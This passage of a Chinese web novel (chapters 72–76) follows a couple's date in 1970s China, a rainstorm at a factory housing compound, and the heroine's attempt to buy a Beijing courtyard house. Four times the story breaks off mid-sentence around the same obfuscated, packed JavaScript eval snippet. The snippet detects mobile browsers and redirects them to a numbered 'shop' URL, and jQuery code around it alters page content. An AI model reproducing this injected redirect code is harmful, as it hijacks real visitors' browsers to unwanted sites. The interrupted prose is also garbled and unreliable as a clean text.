于是当胡克看到穿着情侣装出现在他面前的两个人时,几乎是立即地明白了两个人的此时的关系,他给祝镕一个眼神,祝镕微微点头,表示他猜对了。 胡克与他拥抱,又用力地在祝镕后背上拍了拍,“恭喜了兄弟。” “谢谢。”祝镕也用力拥抱他,他知道胡克上周终于领了离婚证,只能用拥抱给他安慰。 符伊年等两个人分开后同胡克打了招呼,然后把水果递过去,“路上随便买的,东西不多,不要嫌弃。” 胡克当然不会嫌弃,赶紧道了谢后接下来回身招呼个同事过来,“拿去给大家分一下。” “走吧,请你吃饭。”祝镕拍拍胡克的肩膀,“之前一直麻烦你,就当我们俩对你答谢了。” 有人请客吃饭,胡克当然乐意,但是这么秀恩爱就不必了吧,这不是往我伤口上撒盐吗?胡克一看祝镕那贱兮兮的笑就知道他是故意的了,立刻开始反击,“行啊,就吃老梁家吧。” 老梁家就是上次祝镕带符伊年去过的那个私房菜馆,菜好吃是好吃,就是价格也好看,胡克这摆明了是要祝镕大出血了。 不过祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13005909|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镕并不在意,冲胡克一偏头,“上车!” 这顿饭吃完的时候,天已经黑了,祝镕没有喝酒,他先送了符伊年回化工厂家属院,然后再送胡克回公安局宿舍。 胡克:“你不住这儿?” 祝镕翻了个白眼,“只是打了恋爱报告,还没打结婚报告呢,再说,这儿都是认识她的人,我留宿不好。” 胡克:懂了,在这儿不留宿,不代表在别的地方没有。他嘿嘿笑了两声,“那行吧,今晚就委屈你和我这个臭男人一张床了。” 第二天是周日,胡克虽然休息,但是并不准备去给祝镕和符伊年当电灯泡,他对着一早就离开的祝镕说了句“约会愉快”就翻了身重新睡去,心里又是一番惆怅。 祝镕到了化工厂家属院,畅通无阻地将车子开了进去,停在符伊年楼下。没有鸣笛,而是直接上楼敲门。 符伊年才起床不久,正在洗脸,打开门时还有洗面皂的泡沫没有清洗。 “你先坐,我很快结束。”符伊年指了指沙发,趁洗面皂泡沫滴落之前回去了卫生间。 祝镕在沙发上坐下,看到对面大卧室的房门打开了——之前都是关着的,昨天打扫卫生也是符伊年自己清理的。 从客厅只能看到房间的一部分:床、箱子、衣柜、屏风镜,和这个时代很多人家的摆设布置相似。 这是符志宏和唐致清生前的卧室,里面的摆设没有变化甚至保存很好,可以看出来,符伊年十分用心。 符伊年很快洗漱完毕出来,“今天有什么安排?” “先吃早饭,吃完早饭再说别的。”祝镕示意她先去换衣服,“已经很晚了,再晚吃就不健康了。” 符伊年撇撇嘴,“哦。” 符伊年昨天才回来,家里没有任何食物,连一粒盐都没有,早饭还是要出去吃。依然是化工厂附近那家国营饭店。 吃过早饭,两人重新坐进车里,然后,面面相觑。 “接下来去哪里?”祝镕开口。 符伊年懵懵地摇头,“不知道。你没有计划吗?” 祝镕:“我计划带你看电影的,可是这么早,电影院还没开门吧?” 符伊年低头看看手表,不到九点钟,好像是有点早,“要不先去公园逛逛?逛完公园再去看电影。” “行啊。” 于是祝镕发动车子朝公园开去。接过令人没想到的是,在去公园的路上,途经了电影院,而此时此刻,几个青年男女正结伴走进电影院,旁边售票处也有几个少年在买票。 祝镕将车子停在路边,看向符伊年。符伊年被他看得不好意思,“我忘了去公园是会经过电影院的。” 事实是,她压根就不知道,毕竟她才“来”到这个世界一年还不到,在这里也只是生活了几个月而已。 祝镕无语了片刻,“那现在要怎样?” 符伊年看看外面的大太阳,又将手伸出窗外感受了一下温度,“嗯,还是先去公园吧,不过你可以先去买两张电影票,一会儿天热了我们就进电影院看电影。” 祝镕:你可真是个大聪明。 73. 约会2 第七十三章 这个时期的电影已经开始繁荣起来,不仅有《沙家浜》这样的经典的样板戏电影,也有《大刀记》《女交通员》这样的革命电影,甚至出现了一系列的经典的京剧电影,如《红娘》《打渔杀家》,当然,也少不了重映的《地道战》《闪闪的红星》等老电影。 今日在映的影片都用纸写了贴在电影院外的墙上,符伊年视力不错,透过车窗看了一遍,选了一部名为《蓝天防线》的电影,因为她在主演那栏里,看到了后世大名鼎鼎的小品演员的名字。 “得令!”祝镕同符伊年打趣了一句,下车去售票处买票。 这部电影还挺火的,最近的一个场次在半小时后,票已经售罄了,幸好一小时后还有一场,不过位子也不多了。 祝镕果断地掏钱买票,买完就回到车上,把票递给符伊年。 这个时期的电影票十分便宜,才一角钱,电影院若不是有国家支持,早亏本倒闭了。不过符伊年知道,电影院真正赚钱的其实都是零食和饮料罢了。 在公园里闲逛了一圈,打发掉近半个小时的时间,两人重新回到电影院来。电影院是没有停车场的,祝镕只能将车子停到附近的胡同里,然后两人步行走去电影院。 果然不出符伊年所料,走进电影院大门,首先看到的就是买汽水和爆米花的小推车,汽水甚至还是冰镇的。售价都和外面一样,一份爆米花两毛钱,一瓶汽水一毛钱,当然如果不想买汽水,还有冰棒,冰棒就便宜很多,红豆冰棒两分钱一根。 祝镕买了一份爆米花两瓶北冰洋橙味汽水,售货员收了钱,熟练地用瓶起子将汽水开了盖又插了两根吸管到瓶口。 符伊年吸了一口,结果不小心被碳酸和橙酸刺激到口腔,忍不住闭了下眼,嘶嘶了两下才习惯这种刺激。 “不好喝?”祝镕看她被刺激的呲牙咧嘴,但是又很快喝了第二口,感觉应该是好喝的? 符伊年:“目前来说,算是不错的了。”只是以后很快就被国外品牌挤占的没有立足之地了。 祝镕无法理解她的话中之意,只是替她拿着爆米花,按照电影票上的指示,走进放映厅。 电影是胶片电影,不知道是不是用的手摇放映机,听说这种放映机还挺危险的,一个操作不当就容易起火。 电影还没开始,放映厅里灯光比较明亮。两人按照电影票对号入座,结果走到后发现,位子上分别坐了一个大娘和一个小孩儿,小孩儿还在椅子上踩着,椅套上都是鞋印和灰尘。 符伊年走上前去,“大娘,对号入座,您坐错了。” 大娘抬头瞥了符伊年一眼,没出声也没动。 站在符伊年身后的祝镕“咳咳”了两声,“这位大娘,您和孙子坐错位置了。” 大娘这才注意到符伊年挡住了一个台阶下的祝镕。几秒后,大娘起身将孙子抱起来挤开符伊年,顺着台阶离开了放映厅,挤开符伊年的时候还都嘟嘟囔囔的,不知道说些什么。 符伊年目瞪口呆,看着祝镕嘴巴张了又合,“她……我……” “好了好了,不要和她一般见识,”祝镕拍拍她的胳膊安抚,“先坐下吧,一会儿电影开场了。” 符伊年憋了一肚子气,闷闷地在位子上坐下,祝镕则是先把手里的爆米花和汽水交给符伊年拿着,自己弯腰椅套上的鞋印掸干净,才重新坐下来,再把东西接过来。 两人坐下后不久电影就开场了,符伊年立刻把刚刚的不快抛之脑后,认真观看起来。 《蓝天防线》这部电影才上映不久,讲述的是在70年代初,我东南沿海某市,正在为接待国庆节之前到来的一批外国朋友和宝岛侨胞做准备。蒋光头为了破坏这次活动,出动“黑鸟”了军用机潜入岛内,妄图进行骚扰和破坏。岛上我军某部指导员杨平带领官兵与民兵,为保证雷达正常运转,与敌人斗智斗勇,最终查获干扰机,抓住特务的故事。 出演杨平的,正是后来家喻户晓的小品演员朱时茂。朱老师年轻的时候十分帅气,浓眉大眼,目光炯炯有神,一看就是正面角色。 符伊年看得十分入迷,就着祝镕手里的爆米花,嘴巴干了就用吸管喝一口汽水,津津有味的。 祝镕也在认真看,一边看还一边在心里分析影片中战术的优劣,但是他并没有出声,只是偶尔点头或者摇头。不知道的还以为他颈椎不好呢。 不过符伊年对此却十分满意——她本人最讨厌的就是在电影院里动手动脚的情侣和互相讨论剧情的伙伴。 电影结束后,符伊年一走出放映厅,就直接钻进了卫生间里。 祝镕看看自己手里所剩无几的爆米花盒和空空的汽水瓶,笑得无奈又甜蜜,这样是不是可以不用吃午饭了? 不吃午饭?那是不可能的。零食有零食的肚子,正餐有正餐的肚子,怎么可以归类一起呢?这是不对的。 祝镕听了符伊年的“诡辩”,瞠目结舌,忍不住对她比大拇指。 改革开放还没开始,经商环境虽然有所放松,却只在乡下,城市里依然限制多多。 祝镕在驾驶座上等了很久没有等到符伊年关于午饭地点的“指示”,干脆自己做主,将车开去了粮油站,在这里买了些米、油、调料,东西不多,够符伊年吃一个月,吃完了离开学也就差不多了。 买完了粮油,又在旁白的菜市场买了些蔬菜,接着开车回到化工厂家属院。 全程符伊年都只是微笑看着,看他盯着售货员称重,看他掏钱票付款,看他对着蔬菜挑挑拣拣选出最新鲜的。 回到了家,祝镕也没有休息,将东西提到厨房归置好。这是昨天搞卫生的时候他就注意到了的。接着祝镕挽起袖子开始淘米煮饭,洗菜做菜。 而符伊年,只是在沙发上坐着,什么都不干,就看着祝镕在厨房里忙来忙去。偶尔两人对视,就冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022366|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他甜甜一笑。 祝镕脱掉了白衬衫,里面只穿着军绿半袖,脖子上挂着围裙,因为天热灶热,汗水从额角和脖子上流下,手臂上的肌肉随着动作紧绷,显示出他的健壮、力量。 用后世的话说:荷尔蒙爆棚。 吸溜。符伊年咽了咽口水,从沙发上站起来走到厨房门口,近距离观赏美色。 祝镕正认真翻炒着,对符伊年的目光似乎毫不察觉,但是他的站姿却越发紧绷。最后实在是无法忽略了,祝镕停下来将火关小一点,转头看向符伊年,“口水流出来了。” 符伊年下意思去擦下巴,当然是擦了个空,她立刻意识到自己被祝镕戏弄了,不过到底是她理亏,只瞪了他一眼就转身坐回餐桌,等投喂。 祝镕:您这一眼不如不瞪。 祝镕的手艺不错,几道简单的菜吃得符伊年赞不绝口,“你要是不当营长,去炊事班肯定也很厉害。” 祝镕笑了笑,单锅小炒和大锅菜怎么能相提并论,更何况年年只是情人眼里出西施罢了。若干年后,祝镕学到一个词来形容这种行为——滤镜。 吃着饭,符伊年突然想起一件事来,“你今天看电影的时候为什么一会儿摇头一会儿点头的啊?” 祝镕反应了一下菜明白她说得是什么,“我当时在心里评判他们的战略战术呢,编剧应该是有军营生活的人,或者采访过相关人员,战术比较合理的。” 符伊年无语了片刻,然后又觉得理所当然,祝镕能有今天的地位,他本人确实很努力。尤其这一周在军营里,符伊年感受得更深刻更清晰。 祝镕每天和士兵们同时起床训练,甚至训练强度更大,结束训练后,他还要回到办公室进行文书工作,有下头连队报批的文件,有针对不同连队制定的不同的训练计划…… 那句话怎么说?活该你升职加薪。 人都是慕强的,祝镕这么厉害,符伊年也开始考虑自己的经商事业了。离一九七九年不远了,要预备起来了看。 盛夏炎炎,烈日当空,蝉鸣阵阵。这样的天气,尤其是午后,不适合室外活动,符伊年和祝镕十分默契,谁都没有提出门,两人分别占据了沙发的两端,各自捧着一本书在看。 祝镕看得书是从符家书柜里找的,是一本关于苏联十月革命的书籍,俄文原版书,应该是符伊年的父亲从国外购得的,上面还有一家英国书店的印章。 祝镕英语一般,但是俄语很好,因此看起来没有丝毫压力。 符伊年看得是她从学校图书馆借的,一本与本专业完全不相干的,食谱。此书名为《中馈录》,作者名为曾懿,清末四川人,这本书记载了作者收集的很多食谱和腌、腊、糟等烹制的方法,就是后人常说的“四川泡菜”。 所谓“民以食为天”,符伊年认为,自己的第一桶金必然是要从吃食上得来。 可实际上,这第一桶金是从天上掉下来的。 74. 暑假 第七十四章 祝镕第二天下午离开的。 因为天气炎热,符伊年不想出门,于是两人在家消磨了一个上午。 祝镕前一天晚上在晚饭后离开。虽然他十分恋恋不舍,但是到底不好留宿,在天黑之前离开家属院。离开前甚至还给符伊年做了一顿晚饭。 符伊年自己一个人干巴巴地吃了晚饭,也没有兴趣做别的,早早就洗漱上床睡觉了。 说是消磨一上午,其实也只有几个小时而已。 “我跟你说件事。” 符伊年本来半躺在沙发上看书,头枕着沙发扶手,脚搭在祝镕大腿上,说这话的时候就用脚后跟敲敲祝镕的大腿。 祝镕立刻抓住她的脚腕,瞥了她一眼,淡淡地说:“别捣乱。” 符伊年:“没有捣乱,我是要和你说事。” 祝镕不为所动,依然禁锢着她的脚腕,“嗯,说吧。” 符伊年知道逗不到他了,不禁撇撇嘴,心里说一句“没情趣”,嘴上开始说正经事。 “我准备在京城买个房子。” 这是祝镕没想到的,他不禁惊讶,转头看向符伊年,发现她并不是开玩笑的样子,“买房子?为什么?” 符伊年坐起来,两腿盘着,弯腰从茶几上够水杯。祝镕伸出手臂先她一步拿到,递到她手里,符伊年喝了大半杯,剩下的推给祝镕。 “我有个同学,她家解放前是京城里做房产经纪的,建国后也有家人在房产局。上次我们出游的时候,她跟我说,最近京城里多了很多四合院要卖。” 祝镕之前听符伊年说过出游这件事,但是,卖房子? “她主动提到的?” “不算,话赶话吧,”符伊年不想纠结这个,“因为最近很多平反的人家回来了,但是当家话事人已经不在了,可能家庭条件不如以前,也可能要出国投奔亲戚,反正想要卖掉原来的房子。我想买一套。” 至于买房子的原因,肯定不能说若干年后京城四合院会涨成天价。 “毕业后如果没有意外,应该会留在京城吧,先把住处搞定,然后还要慢慢装修,等毕业的时候就能住了。”符伊年说到这里,看了一眼祝镕,目光别有深意。 祝镕:是我想的那样吧? “那你钱够吗?”祝镕只有这句话,“不够的话,我那里还有一些,大概几千块。” 符伊年赶紧摆手,“不用,我有钱,我爸妈留了钱。” 这个时候得四合院还不算贵,她趁早下手说不定可以以低价购入优质,实在不够的话,卖一两个戒指吧。这算是她的婚前财产,还是不用他的钱好了。 祝镕明白了,“要是有需要,可以打电话给我,或者找容院长也行。” 符伊年点头,这次没有拒绝。其实她还想根祝镕提一提以后经商得事,但是想了一下又没说。这事儿急不来,还有半年,再等等,稍安勿躁。 不过,“你怎么会有这么多钱?”不是说当兵的逗很穷吗? “当兵后的津贴和补贴,一开始只有十几块钱,随着职级增长,津贴也在涨,出任务也有赏金,我又没地方花,本来也是打算结婚时候用的。”相比符伊年的隐晦和暗示,祝镕就直接得多了,也毫不避讳。 午饭后,祝镕终于不得不离开,他不要符伊年送,因为天气太热了,他怕她中暑,“你送我我还要再送你回来,没必要。” 符伊年“嗯”一声,两手拉着他的,攥得紧紧的,情绪也不复之前。 “我听门卫说,化工厂打算给每栋楼或者每两个单元安一部电话,若是你开学之前安好,就给我电话告诉我号码。”祝镕拉过符伊年拥抱她,又在发顶轻吻了一下,“我走了。你好好照顾自己。” 送走祝镕,符伊年开始了自己的真正的暑假生活。 天气热,符伊年养成了昼伏夜出的习惯,如果非要出门,比如买米买菜,就会在一大早的时候出门,趁天热之前回来。 因为天热,符伊年已经很久没有去补充小蛋糕和糖果零食了,也事因为天热,符伊年没心情下厨做菜,几乎每天以不同的咸菜佐餐下饭,偶尔实在吃不下,干脆啃两根黄瓜或者西红柿。 直到进了八月,不知是不是热到了头,一号当天还在艳阳高照,据收音机里的天气预报说,当天最高气温达到了三十度,明天还会继续升温到三十三度,突破了历史记录。 收音机提醒人们,注意防暑降温,非必要不在正午出门。 符伊年可是连四十度的高温天都经历过的,三十度对于她来说其实还能忍受,即便是三十三度也还可以,但是没有太阳,空气湿度还很大,闷热闷热的,人像是蒸锅里的馒头一样,快熟了。 然而,令人没想到的是,从三号开始下起了雨,雨势并不急,只是一直没停。也不是没停过,停一两个小时,会接着下,一直下了三天。 雨下到第二天下午的时候,家属院突然响起警报,过了一会儿,楼道里响起此起彼伏的脚步声。 符伊年不明所以,拉开门出去看,发现很多人都穿着雨衣雨鞋往楼下冲,而且大部分都是男人,也有几个女人跟着一直送到楼口。 符伊年跟着走到楼口,在人群里看到了卢主席的身影,她挤上前去,“卢阿姨,发生什么事了?” 卢主席转头一看,是符伊年,“你不知道?哦,也对,你年纪小,估计不记得,这警报是厂里反应炉的警报,要是态势控制不好会爆炸的。” 符伊年听得迷迷糊糊的,没太懂,但也不好意思多问,点点头表示知道了。 就在这时候,符伊年感受到一个目光一直在看自己,她转头看去,正对上一个年轻男子的目光,符伊年想了想,记起来了,他就是家属院里那个唯一考到了复旦数学系的学霸。 符伊年对他点点头致意,收回目光,重新向外看去。 雨还没有停,雨水已经在院子里汇集成了河,符伊年估计水深已经能没脚脖子了。符伊年没有多停留,看一会儿知道自己做不了什么,就挤出人群打算回家。 结果还没走出去一步,就被人拉住了手臂,“哎,这不是符工程师家的孩子吗?” 符伊年转头看去,是一个三十多岁的阿姨,烫着时下流行的卷发,穿一条粉色布拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037222|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吉,丰腴的身躯将布拉吉撑满,似乎只要动作大一点就要崩开。 符伊年下意识挣脱开她的手,发现自己并不认识这位阿姨,但是秉承着要礼貌待人,就她对人点点头,说了一句“阿姨好”,说完就想转身离开。 结果阿姨却不肯放过她,趁她没有走远的时候,又问了起来,“那天看见一个男的进了你家,是谁呀?” 这话问的,乍一听起好像只是单纯的好奇,但是禁不住细想,一旦你细想,只有两个可能:觉得对方其心可诛和对符伊年感官变差。 这个阿姨声音比较尖锐,从第一句话开始就已经引起周围人的注意,大家听了后面这句话,更是开始窃窃私语。 符伊年不想成为焦点,知道此时不宜久留,但是也不想说破祝镕的身份,倒不是有什么见不得人,更不是可以隐瞒,她只是觉得没必要。 “阿姨,”符伊年挣了一下,把手臂从她手里挣脱出来,“我老家有位长辈,今年九十岁了,您知道他的长寿秘诀是什么吗?” 阿姨下意识地追问:“是什么?” “是不管闲事。”符伊年留下这么一句话,扬长而去。 留下众人沉默无语,只有楼门外雨声哗啦啦,直到不知道哪位突然“噗嗤”笑了一声,还越笑声音越大,其他人也忍不住呵呵笑出来。 那位阿姨被大家笑得很难堪很尴尬,“这个孩子,我就好奇问问,哪有她这样儿的!” “你好奇你不能私下问吗?”卢主席因为站得位置比别人偏一些,看得清清楚楚,“当着这么多人问,让人家怎么说?” “有啥不能说的,不就是相好……不就是对象嘛,有啥不能说的?”阿姨很不忿,但是到底因着卢主席的身份,不敢大声了。 旁边一个大娘看不过去了,“你都知道了还问啥?不就是看人家小姑娘面嫩嘛。” “何止,”另外一个大嫂撇着嘴看她,以前也被这个阿姨刁难过,“是欺负人家符工程师和唐老师都不在了吧?您可别忘了,就算不在了,那也是烈士子女,厂里和国家会给做主的!” 阿姨被大家说的脸红到了脖颈子,低着头跑掉了,跑起来的时候,大家都怕她的布拉吉被身体撑破了。 符伊年已经上楼了,她没有听完大家的话,只听到了开头卢主席的帮腔,不禁在心里微笑,那些水果还米面调料还是有些用的。 这场雨一共下了三天,在八月五日下午停止。雨停之后一小时左右,云彩散去,太阳出来,东边一道彩虹若隐若现。 连天的大雨,打落了不少树枝、花朵和叶子,还有很多被雨水冲积到一起的泥土,在院子里左一堆右一堆,还有马路上更是如此,下水道口被冲来的树枝残叶堵住几乎不能下水,要尽快给清理干净才行。 雨停后不久,不用人组织或者号召,居民们自发地拿着笤帚、铲子等工具出来清扫大院和马路。 符伊年也带着自家的笤帚下了楼,找了个人不多的地方开始清扫起来。 正干着活儿呢,门卫大爷背着手过来了,递了一张信封给她,“年年,电报。”大爷补充到:“京城来的。” 75. 买房 第七十五章 门卫大爷一说这电报是来自京城的,符伊年心里就有了数。 因为昨天的事件,符伊年知道了即便家属这个看似到处都是知识分子的地方也有人八卦,便将电报一叠装进了兜里,没有继续看,而是继续干活。 众人一看瞧不着热闹了,遂也不再张望,专心干起活来——早干完早利索,还得回家做饭/回厂值班呢。 符伊年虽然心中急着看电报,但是手下干活也并不敷衍,认真地扫完院子,还出门去同大家清理了一段马路。 好在马路的清扫并不复杂,而且也不是只有化工厂的职工出来义务劳动,所以很快符伊年就结束劳动回了家。 回到家的一时间,符伊年从兜里拿出电报来查看。 和她想的一样,这电报是管方发来的,告诉她最近有满足她条件的房子了。 当初宿舍四个外地人想要游玩一番京城,偏偏宿舍里两个京城人都不得空,她们俩一个要却约会一个要去祝寿,最后符伊年等人请到了隔壁宿舍的管方,她也是京城人。 本来符伊年还想叫上林小晗的,不过她要在趁周末+节日去和她老公团聚,就没有一起。 因为第二天想去看升旗,所以当晚她们没有回学校宿舍,而是留宿在管方的小姨家里。当晚聊天时,不知管方是故意的还是话赶话,她说因为很多干部虽然平反了,但是家也散了,后辈们为了生活,决定卖掉原来的房子。 “有些房子还挺好的呢,大户人家的那种几进的院子。”管方说,“也有普通的小院,很多人都想卖。” 说者有没有心不知道,反正听者如符伊年心动了。不过当时她并没有什么表示,一来当时刚开学符伊年对于管方了解不多,二来还是因为刚开学,学习比较要紧。 所以,经过两个多月的了解,直到最后期末考试结束,符伊年才找到管方,同她打听京城现在房屋买卖的情况。 当符伊年找到管方的时候,管方并不吃惊。 “我还以为我要推算错误了呢。”管方笑着说。 符伊年猜不出她是怎么推算出自己会买房的,但是这并没有什么妨碍,反正事实如此,这些无关紧要。 符伊年对管方说了自己的购房意向,有几项条件是不能变的,有几项是可以变通的,“因为是以后长久的居住点,可能要求比较多,你见谅,另外,这经纪费用怎么算?我听说是内三外二?” 所谓“内三外二”,就是后世的“中介费”,“内三”是指买方出交易费的百分之三给中介经纪,“外二”自然就是指卖方出交易费的百分之二给中介,这是以前房产交易约定俗成的规矩,是符伊年之前就打听到的。 管方点头,见她对这种规矩都一清二楚,越发自信自己之前的推断了。 管方:“我可能没那么快能替你找到合适的。大概要选一段时间。” 符伊年提出的条件每一条都不难,但是把所有的条件都集中了,又很难,所以管方要提前同她说清楚。 符伊年无所谓,“不急啊,反正还有四年才毕业,我还可以住宿舍。不过,越快越好。”只有有了自己的地盘,等明年政策有了,她才好开启自己的经商事业啊。 不过,符伊年没想到,这么快管方就找到了满足她条件的房子,这才一个月而已。 符伊年心说:不愧是专业做这一行的,瞧瞧这效率。 管方在电报上说的很简略,两个字:“方户”——“房”的意思,还有一个两位数:98.应该是对方开价9800元的意思。 不到一万块,听起来好像不贵,但是得看房子是什么样的,符伊年想了想,决定明天去打电话给管方先问一下,或许自己要提前结束暑假返回京城了。 * 第二天上午,天气十分晴朗,碧空如洗不见一丝云彩。不过因为刚下过雨,空气还比较湿润,而且气温凉爽。 管方家也没有电话,她给符伊年的电话号码是她家胡同口的“公用电话”,到时候会有人喊她来接。 管方接到电话,给符伊年介绍了这座房子的基本信息,二环线上,离学校大概四十分钟公交,“开车的话大概半小时用不到”,管方说。 符伊年听了心中点头,这个距离还是比较容易接受的,而且以后机动车性能提高,车速会更快,可能用不到这么多时间。 “房子没有三进,大二进,一进五间,二进坐北朝南的正房五间带俩耳房,东西厢房各四间,中间庭院不小,得有个一百来坪,门口还有一棵几百年的樟树。” 符伊年一听,第一感觉就是满意,接着就是不解,“这么好的房子为什么要贱卖?” 是的,在符伊年看来,九千八百块对于这座房子确实是贱卖了。 管方犹豫了一下,还是决定实话实说,“这里以前住着一个大学教授,那些年里遭受迫害,想不开自杀了。” 符伊年听说过不少这种事情,心中惋惜,紧接着反应过来,“你是说这各教授是在家里自杀的?什么方式?割腕?自缢?” “都不是,冬天烧炭一氧化碳中毒自杀的,连夫人和孙子一起,结果孙子没死了,痴傻了,他儿子当时下放到农村,最近平反了,打算带儿子出国投奔亲戚治病。” 符伊年懂了,因为屋子死过人,怕买家忌讳,所以开价不高。 “行,”符伊年没有再多问,当下做了决定,“我这几天就买票回学校,最迟五天,你帮我根对方说一下,等等我。对了,房主叫什么?那个房子具体位置?” 管方知道符伊年有个对象是军人,大概是想找人调查一下买家吧,她倒是没有觉得符伊年是不信任,反而觉得她这样光明磊落,于大家都有好处。 从管方那里拿到卖家的姓名和房子地址,符伊年从新拿起话筒打电话给祝镕,不过祝镕不在,是参谋接的电话,说几个营长副营长被临时喊去军区开会了,“已经两天了,具体什么时候能回来还不知道。” 好吧,这就是没有手机的弊端,无法即时获得信息。 符伊年同参谋道了谢,先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049319|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去火车站买车票,大概还没到开学时间,火车票比较好买,符伊年买了第二天的车票,只不过是硬座。 回家第一件事就是找存折出来。符伊年开学之前,把家里的几张存折拆分整合成了五张,共计一万五千五百块。 这个年代还没有异地取款这种方式,但是符伊年这段时间有了解过,可以通过信汇、票汇或者电汇的方式,将较大金额款项在异地之间转存。 符伊年对比了一下,最终选择了电汇,虽然手续费比较高,但是快啊,如今虽然还没有“时间就是金钱”的概念,但是并不代表她不知道。 除了将存折的钱电汇过去,符伊年还带了两枚戒指,以防资金不够,到时候就卖了做补充。 第二天,符伊年去火车站前,先拐去邮电局打了个电话给祝镕,他依然没有回来,符伊年只好让文书帮忙留言,就说她有事要先回学校了。 回到京城的时候,很惊喜地,管方居然来接站了。 “你怎么来了?”符伊年真的十分惊喜,情不自禁地给了她一个大大的拥抱。 管方回抱了她一下,“我猜到你今天就要到了,就过来试试看,反正暑假在家也是闲着无事。” 两个人没有停留,直接去了卖房子的地点。 然而十分不巧的是,这家人又带了另外一伙人来看房子,两伙人一照面,都十分惊讶。 惊讶过后,就是生气。管方气得脸都红了,“陈同志,咱们不是商量好了等两天的吗?您怎么又带人来?” 卖房的陈同志一脸尬尴,倒是他身边另外一伙看房的人中打头的那个开口了,“哎,这位同志,您这话就说得不对了,好东西谁都想要,再说你们一没给定金二没签合同的,凭什么不让我们来啊?” 管方更生气了,手都开始抖起来了,半天说不出话来。 倒是符伊年,很是冷静,她将目光在房主、另外一伙购房者和刚刚说话的人之间看了几个来回,笑了一声。她一手提起腿边的行李箱,一手拉住管方的手,“走了,大热天的,先去吃饭。” 还没走两步呢,房主就开始挽留,“哎……” 符伊年感受到管方想要停下的脚步,她却没有丝毫迟疑,手上用力直接拉着人往前走,悄声叮嘱她,“别回头,径直走。” 管方很聪明,立即反应过来,不再犹豫,跟着符伊年出了院子大门,“你怀疑对方找的托儿?” “不一定,”符伊年微微偏头,“房主不知道我今天到也不会知道我到了京城后立刻来看房。他应该就是想持房待涨。”符伊年想了想,用了一句俗语,“饭抢着吃才香。” 管方很快明白,“还有别的房子,你想看看吗?楼房,华侨公寓,以前给华侨住的,有一套顶楼,一百四的面积。” 符伊年连想都没想,楼房以后遍地都是,还怕买不到吗,这种四合院才是稀缺资源。 两人边走边说,没注意突然从身后一个大妈冒了出来。 “女同志,想买房子是吗?我知道有一家要卖!” 76. 房子 第七十六章 符伊年满怀希冀地提前结束暑假回到京城,想要早点将房子买下,结果不料中途出了点小插曲:另外一伙买家比她们先到。 符伊年不确定是不是对方找来的托儿,但是她可以确定对方一定是觉得之前开出的价钱低了,想要持房涨价。 符伊年才不会惯着,她直接走人。 结果没想到,才和管方走出去不到两百米,就有个大妈从身后追了上来,“女同志,你们要买房吗,我带你们去看看?” 符伊年和管方对视一眼,管方先开了口,“大娘,您可别逗了,我家就是干房信儿的,这一片都走遍了,除了这家,可没有第二家卖房的了。” “嗨,不是在这儿。”大妈知道遇上了个明白人,不好哄骗,干脆直说了,“在西什库大街那片。” 符伊年不清楚“西什库”在哪儿,但是管方清楚啊,那地界离北海公园也就二十多分钟的路程,周围医院、学校、市场都有,绝对的好地方,而且不远处就是大名鼎鼎的101故居毛家湾。 那个地方,可是在一环线内,难怪自己不知道,那可是她这种普通人接触不到的信息。 管方低声给符伊年解释了一遍,符伊年听得十分心动,北海公园附近哎,那是一般人能住的地方吗?以后会涨成天价吧。 不过,管方看了大娘了一眼,“那个地方,不愁卖吧,怎么您跑这儿来找买主了?” “嗨,不瞒你们,我也是受人所托。”大娘下巴往她们来时的地方点了点,“和他们家一样,下放了平反了想出国。但是这些年吧,住进去不少人……” 不用大娘说完,管方和符伊年就都明白了,里面住的人不想搬走,甚至有钉子户。 “先去看一眼吧。”符伊年想了想,还是舍不得放弃,想去看一眼再说,虽然大概率是买不成的。 两人先问清楚大娘具体位置,然后先去管方家里放行李,又吃了午饭,这才乘坐公交车过去看房子。 房子不小,一共三进,据大娘介绍,第一进一共四间房,二进三进都是正房五间东西厢房四间,三进比二进大一点。 